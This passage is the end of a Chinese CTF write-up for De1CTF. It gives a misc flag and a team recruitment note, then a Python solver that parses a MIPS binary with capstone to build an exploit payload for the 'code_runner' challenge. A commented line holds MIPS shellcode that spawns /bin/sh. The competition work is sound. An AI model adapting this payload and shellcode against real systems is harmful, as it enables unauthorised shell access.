进而解压分离出的zip,获取到 txt.pilf.txt , 对其内容先进行 flip 反转后 Base64 解码,再得到的结果反转后 Base16 解码获取到最终 flag:De1CTF{l3t_us_s7art_th3_g4m3!}.

Timeline Sec CTF组长期招收Re、Crypto和智能合约方向的CTFer,为啥长期招收这两个方向,不如看看这次wp分享少了哪两个方向的题解(手动狗头),欢迎感兴趣的师傅私聊我们的公众号!

我们的战队刚成立了两个月,目前只经历了两场比赛的锻炼,名次一次比一次有所进步,TLS团队内部的学习氛围浓厚,会定时组织分享交流和内部赛练习,希望在时间的长河中,我们都能相遇。

最后附上code_runner(rev.py):

代码语言:javascript
复制
from elftools.elf.elffile import ELFFile
from capstone import *
import code as cd
from bar import *
from pwn import p32
def generatePayload(path):
    with open(path, 'rb') as f:
    # with open('ver/bin', 'rb') as f:
    # with open('ver/code3', 'rb') as f:
        elf = ELFFile(f)
        code = elf.get_section_by_name('.text')
        ops = code.data()
        addr = code['sh_addr']
        md = Cs(CS_ARCH_MIPS, CS_MODE_32 + CS_MODE_LITTLE_ENDIAN)
        n = 0
        check_functions = []
        instructions = {}
        for i in md.disasm(ops, addr):
            instructions[i.address] = [i.mnemonic, i.op_str]
            if "jal" in i.mnemonic:
                n += 1
                if n > 5 and n < 22:
                    # print "{}:\t{}\t{}".format(hex(i.address), i.mnemonic, i.op_str)
                    check_functions.append(int(i.op_str, 16))
        check_functions.sort()
        # print list(hex(term) for term in check_functions)
        type1 = {}
        type2 = {}
        type3 = {}
        type4 = {}
        type5 = {}
        type6 = {}
        for func_addr in check_functions:
            # type 1
            if instructions[func_addr + 0xe0][0] == u"jal" or instructions[func_addr + 0xe0 - 8][0] == u"jal" or instructions[func_addr + 0xe0 + 4][0] == u"jal" or instructions[func_addr + 0xdc][0] == u"jal":
                para_offset = func_addr + 0x18
                parameters = []

                curr_ins = instructions[para_offset]
                if 'lbu' not in curr_ins[0]:
                    parameters.append(curr_ins[1].split(", ")[-1])
                    para_offset += 0xc
                else:
                    parameters.append(u"0")
                    para_offset += 0x8

                curr_ins = instructions[para_offset]
                if 'lbu' not in curr_ins[0]:
                    parameters.append(curr_ins[1].split(", ")[-1])
                    para_offset += 0x10
                else:
                    parameters.append(u"0")
                    para_offset += 0xc

                # constant
                curr_ins = instructions[para_offset]
                parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))
                para_offset += 0x10

                curr_ins = instructions[para_offset]
                if 'lbu' not in curr_ins[0]:
                    parameters.append(curr_ins[1].split(", ")[-1])
                    para_offset += 0x8
                else:
                    parameters.append(u"0")
                    para_offset += 0x4

                # constant
                curr_ins = instructions[para_offset]
                if curr_ins[0] == 'addiu':
                    parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))
                    para_offset += 0x10
                else:
                    parameters.append(unicode(0))
                    para_offset += 0xc

                # for the following, this is to test
                # many circumstances have not been considered

                curr_ins = instructions[para_offset]
                if 'lbu' not in curr_ins[0]:
                    parameters.append(curr_ins[1].split(", ")[-1])
                    para_offset += 0xc
                else:
                    parameters.append(u"0")
                    para_offset += 0x8

                curr_ins = instructions[para_offset]
                if 'lbu' not in curr_ins[0]:
                    parameters.append(curr_ins[1].split(", ")[-1])
                    para_offset += 0xc
                else:
                    parameters.append(u"0")
                    para_offset += 0x8

                curr_ins = instructions[para_offset]
                if 'lbu' not in curr_ins[0]:
                    parameters.append(curr_ins[1].split(", ")[-1])
                    para_offset += 0xc
                else:
                    parameters.append(u"0")
                    para_offset += 0x8

                # constant
                curr_ins = instructions[para_offset]
                # parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))
                parameters.append(unicode(0x7f))
                para_offset += 0x18

                curr_ins = instructions[para_offset]
                if 'lbu' not in curr_ins[0]:
                    parameters.append(curr_ins[1].split(", ")[-1])
                    para_offset += 0xc
                else:
                    parameters.append(u"0")
                    para_offset += 0x8

                curr_ins = instructions[para_offset]
                if 'lbu' not in curr_ins[0]:
                    parameters.append(curr_ins[1].split(", ")[-1])
                    para_offset += 0xc
                else:
                    parameters.append(u"0")
                    para_offset += 0x8

                curr_ins = instructions[para_offset]
                if 'lbu' not in curr_ins[0]:
                    parameters.append(curr_ins[1].split(", ")[-1])
                    para_offset += 0x14
                else:
                    parameters.append(u"0")
                    para_offset += 0x10

                curr_ins = instructions[para_offset]
                if 'lbu' not in curr_ins[0]:
                    parameters.append(curr_ins[1].split(", ")[-1])
                else:
                    parameters.append(u"0")

                type1[func_addr] = parameters
                pass
            # type 2
            elif instructions[func_addr + 0x104][0] == u"jal":
                para_offset = func_addr + 0x18
                parameters = []

                curr_ins = instructions[para_offset]
                if 'lbu' not in curr_ins[0]:
                    initial = curr_ins[1].split(", ")[-1]
                    parameters.append(initial)
                    parameters.append(unicode((int(initial) + 1) % 4))
                    parameters.append(unicode((int(initial) + 2) % 4))
                else:
                    initial = u"0"
                    parameters.append(initial)
                    parameters.append(unicode((int(initial) + 1) % 4))
                    parameters.append(unicode((int(initial) + 2) % 4))
                if initial != u"1":
                    para_offset += 0x28
                    curr_ins = instructions[para_offset]
                    parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))
                    para_offset += 0x10
                else:
                    para_offset += 0x2c
                    curr_ins = instructions[para_offset]
                    parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))
                    para_offset += 0x10

                curr_ins = instructions[para_offset]
                if 'lbu' not in curr_ins[0]:
                    initial = curr_ins[1].split(", ")[-1]
                    parameters.append(initial)
                    parameters.append(unicode((int(initial) + 1) % 4))
                    parameters.append(unicode((int(initial) + 2) % 4))
                else:
                    initial = u"0"
                    parameters.append(initial)
                    parameters.append(unicode((int(initial) + 1) % 4))
                    parameters.append(unicode((int(initial) + 2) % 4))
                if initial != u"1":
                    para_offset += 0x28
                    curr_ins = instructions[para_offset]
                    parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))
                    para_offset += 0x10
                else:
                    para_offset += 0x2c
                    curr_ins = instructions[para_offset]
                    parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))
                    para_offset += 0x10

                curr_ins = instructions[para_offset]
                if 'lbu' not in curr_ins[0]:
                    initial = curr_ins[1].split(", ")[-1]
                    parameters.append(initial)
                    parameters.append(unicode((int(initial) + 1) % 4))
                    parameters.append(unicode((int(initial) + 2) % 4))
                else:
                    initial = u"0"
                    parameters.append(initial)
                    parameters.append(unicode((int(initial) + 1) % 4))
                    parameters.append(unicode((int(initial) + 2) % 4))
                if initial != u"1":
                    para_offset += 0x28
                    curr_ins = instructions[para_offset]
                    parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))
                    para_offset += 0x10
                else:
                    para_offset += 0x2c
                    curr_ins = instructions[para_offset]
                    parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))
                    para_offset += 0x10

                curr_ins = instructions[para_offset]
                if 'lbu' not in curr_ins[0]:
                    initial = curr_ins[1].split(", ")[-1]
                    parameters.append(initial)
                    parameters.append(unicode((int(initial) + 1) % 4))
                    parameters.append(unicode((int(initial) + 2) % 4))
                else:
                    initial = u"0"
                    parameters.append(initial)
                    parameters.append(unicode((int(initial) + 1) % 4))
                    parameters.append(unicode((int(initial) + 2) % 4))
                if initial != u"1":
                    para_offset += 0x28
                    curr_ins = instructions[para_offset]
                    parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))
                    para_offset += 0x10
                else:
                    para_offset += 0x2c
                    curr_ins = instructions[para_offset]
                    parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))
                    para_offset += 0x10


                type2[func_addr] = parameters
                pass
            # type 3
            elif instructions[func_addr + 0x10c][0] == u"jal" or instructions[func_addr + 0x114][0] == u"jal" or instructions[func_addr + 0x11c][0] == u"jal":
                para_offset = func_addr + 0x18
                parameters = []

                curr_ins = instructions[para_offset]
                if 'lbu' not in curr_ins[0]:
                    parameters.append(curr_ins[1].split(", ")[-1])
                    para_offset += 0x8
                else:
                    parameters.append(u"0")
                    para_offset += 0x4

                # constant
                curr_ins = instructions[para_offset]
                parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))
                para_offset += 0x10

                curr_ins = instructions[para_offset]
                if 'lbu' not in curr_ins[0]:
                    parameters.append(curr_ins[1].split(", ")[-1])
                    para_offset += 0x8
                else:
                    parameters.append(u"0")
                    para_offset += 0x4

                # constant
                curr_ins = instructions[para_offset]
                parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))
                para_offset += 0x10

                curr_ins = instructions[para_offset]
                if 'lbu' not in curr_ins[0]:
                    parameters.append(curr_ins[1].split(", ")[-1])
                    para_offset += 0x10
                else:
                    parameters.append(u"0")
                    para_offset += 0xc

                curr_ins = instructions[para_offset]
                if 'lbu' not in curr_ins[0]:
                    parameters.append(curr_ins[1].split(", ")[-1])
                    parameters.append(curr_ins[1].split(", ")[-1])
                    para_offset += 0x30
                else:
                    parameters.append(u"0")
                    parameters.append(u"0")
                    para_offset += 0x28

                curr_ins = instructions[para_offset]
                if 'lbu' not in curr_ins[0]:
                    parameters.append(curr_ins[1].split(", ")[-1])
                    para_offset += 0xc
                else:
                    parameters.append(u"0")
                    para_offset += 0x8

                curr_ins = instructions[para_offset]
                if 'lbu' not in curr_ins[0]:
                    parameters.append(curr_ins[1].split(", ")[-1])
                    parameters.append(curr_ins[1].split(", ")[-1])
                    para_offset += 0x24
                else:
                    parameters.append(u"0")
                    parameters.append(u"0")
                    para_offset += 0x1c

                curr_ins = instructions[para_offset]
                if 'lbu' not in curr_ins[0]:
                    parameters.append(curr_ins[1].split(", ")[-1])
                    parameters.append(curr_ins[1].split(", ")[-1])
                    para_offset += 0x2c
                else:
                    parameters.append(u"0")
                    parameters.append(u"0")
                    para_offset += 0x24

                curr_ins = instructions[para_offset]
                if 'lbu' not in curr_ins[0]:
                    parameters.append(curr_ins[1].split(", ")[-1])
                    parameters.append(curr_ins[1].split(", ")[-1])
                else:
                    parameters.append(u"0")
                    parameters.append(u"0")

                type3[func_addr] = parameters
                pass
            # type 4
            elif instructions[func_addr + 0x9c][0] == u"jal" or instructions[func_addr + 0x9c + 4][0] == u"jal":
                para_offset = func_addr + 0x18
                parameters = []

                curr_ins = instructions[para_offset]
                if 'lbu' not in curr_ins[0]:
                    parameters.append(curr_ins[1].split(", ")[-1])
                    para_offset += 0x10
                else:
                    parameters.append(u"0")
                    para_offset += 0xc

                curr_ins = instructions[para_offset]
                if 'lbu' not in curr_ins[0]:
                    parameters.append(curr_ins[1].split(", ")[-1])
                    para_offset += 0xc
                else:
                    parameters.append(u"0")
                    para_offset += 0x8

                # constant
                curr_ins = instructions[para_offset]
                parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))
                para_offset += 0x10


                curr_ins = instructions[para_offset]
                if 'lbu' not in curr_ins[0]:
                    parameters.append(curr_ins[1].split(", ")[-1])
                    para_offset += 0x10
                else:
                    parameters.append(u"0")
                    para_offset += 0xc

                curr_ins = instructions[para_offset]
                if 'lbu' not in curr_ins[0]:
                    parameters.append(curr_ins[1].split(", ")[-1])
                    para_offset += 0xc
                else:
                    parameters.append(u"0")
                    para_offset += 0x8

                # constant
                curr_ins = instructions[para_offset]
                parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))
                para_offset += 0x10

                curr_ins = instructions[para_offset]
                if 'lbu' not in curr_ins[0]:
                    parameters.append(curr_ins[1].split(", ")[-1])
                    para_offset += 0x10
                else:
                    parameters.append(u"0")
                    para_offset += 0xc

                curr_ins = instructions[para_offset]
                if 'lbu' not in curr_ins[0]:
                    parameters.append(curr_ins[1].split(", ")[-1])
                    para_offset += 0xc
                else:
                    parameters.append(u"0")
                    para_offset += 0x8

                # constant
                curr_ins = instructions[para_offset]
                parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))

                type4[func_addr] = parameters
                pass
            # type 5
            elif instructions[func_addr + 0x190][0] == u"jal":
                para_offset = func_addr + 0x18
                parameters = []

                curr_ins = instructions[para_offset]
                if 'lbu' not in curr_ins[0]:
                    parameters.append(curr_ins[1].split(", ")[-1])
                    para_offset += 0x24
                else:
                    parameters.append(u"0")
                    para_offset += (0x24 - 8)

                curr_ins = instructions[para_offset]
                if 'lbu' not in curr_ins[0]:
                    parameters.append(curr_ins[1].split(", ")[-1])
                    para_offset += 0x38
                else:
                    parameters.append(u"0")
                    para_offset += (0x38 - 0x8)

                curr_ins = instructions[para_offset]
                if 'lbu' not in curr_ins[0]:
                    parameters.append(curr_ins[1].split(", ")[-1])
                    para_offset += 0x24
                else:
                    parameters.append(u"0")
                    para_offset += (0x24 - 8)

                curr_ins = instructions[para_offset]
                if 'lbu' not in curr_ins[0]:
                    parameters.append(curr_ins[1].split(", ")[-1])
                else:
                    parameters.append(u"0")

                    #######################
                para_offset = func_addr + 0xd0
                curr_ins = instructions[para_offset]
                if 'lbu' not in curr_ins[0]:
                    parameters.append(curr_ins[1].split(", ")[-1])
                    para_offset += 0x24
                else:
                    parameters.append(u"0")
                    para_offset += (0x24 - 8)

                curr_ins = instructions[para_offset]
                if 'lbu' not in curr_ins[0]:
                    parameters.append(curr_ins[1].split(", ")[-1])
                    para_offset += 0x38
                else:
                    parameters.append(u"0")
                    para_offset += (0x38 - 0x8)

                curr_ins = instructions[para_offset]
                if 'lbu' not in curr_ins[0]:
                    parameters.append(curr_ins[1].split(", ")[-1])
                    para_offset += 0x24
                else:
                    parameters.append(u"0")
                    para_offset += (0x24 - 8)

                curr_ins = instructions[para_offset]
                if 'lbu' not in curr_ins[0]:
                    parameters.append(curr_ins[1].split(", ")[-1])
                    para_offset += 0x34
                else:
                    parameters.append(u"0")
                    para_offset += 0x2C

                type5[func_addr] = parameters

                if 'beq' in instructions[func_addr + 0xc4][0]:
                    parameters.append(False)
                else:
                    parameters.append(True)

                if 'beq' in instructions[func_addr + 0x17c][0]:
                    parameters.append(False)
                else:
                    parameters.append(True)
                pass
            # type 6
            else:
                para_offset = func_addr + 0x18
                parameters = []

                curr_ins = instructions[para_offset]
                if 'lbu' not in curr_ins[0]:
                    parameters.append(curr_ins[1].split(", ")[-1])
                    para_offset += 0xc
                else:
                    parameters.append(u"0")
                    para_offset += 0x8

                curr_ins = instructions[para_offset]
                if 'lbu' not in curr_ins[0]:
                    parameters.append(curr_ins[1].split(", ")[-1])
                    para_offset += 0xc + 8
                else:
                    parameters.append(u"0")
                    para_offset += 0x10

                curr_ins = instructions[para_offset]
                if 'lbu' not in curr_ins[0]:
                    parameters.append(curr_ins[1].split(", ")[-1])
                    para_offset += 0xc
                else:
                    parameters.append(u"0")
                    para_offset += 0x8

                curr_ins = instructions[para_offset]
                if 'lbu' not in curr_ins[0]:
                    parameters.append(curr_ins[1].split(", ")[-1])
                    para_offset += 0x14
                else:
                    parameters.append(u"0")
                    para_offset += 0x10

                curr_ins = instructions[para_offset]
                if 'lbu' not in curr_ins[0]:
                    parameters.append(curr_ins[1].split(", ")[-1])
                    para_offset += 0x8
                else:
                    parameters.append(u"0")
                    para_offset += 0x4
                # constant
                curr_ins = instructions[para_offset]
                parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))
                para_offset += 0x10

                curr_ins = instructions[para_offset]
                if 'lbu' not in curr_ins[0]:
                    parameters.append(curr_ins[1].split(", ")[-1])
                    para_offset += 0x8
                else:
                    parameters.append(u"0")
                    para_offset += 0x4

                # constant
                curr_ins = instructions[para_offset]
                parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))

                type6[func_addr] = parameters
    result = []
    for x in check_functions[::-1]:
        if x in type1:
            result.append(p32(case1(map(int, type1[x]))))
        elif x in type2:
            result.append(p32(case2(map(int, type2[x]))))
        elif x in type3:
            result.append(p32(case3(map(int, type3[x]))))
        elif x in type4:
            result.append(p32(case4(map(int, type4[x]))))
        elif x in type5:
            # print map(int, type5[x]), hex(x)
            # print hex(x)
            result.append(p32(case5(map(int, type5[x]))))
        elif x in type6:
            result.append(p32(case6(map(int, type6[x]))))
    payload = "".join(result).ljust(0x100, "\x00")
    return payload


# shellcode = "\x00\x01\x06\x24\xdc\xff\xff\x27\x08\x00\xe0\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x06\x28\xff\xff\xd0\x04\xe0\xff\xbd\x27\x18\x00\xe4\x27\xe8\xff\xa4\xaf\xec\xff\xa0\xaf\xe8\xff\xa5\x23\xab\x0f\x02\x24\x0c\x01\x01\x01/bin/sh"
# print generatePayload("real_code") + "AAAABBBB" + shellcode
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-05-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Timeline Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档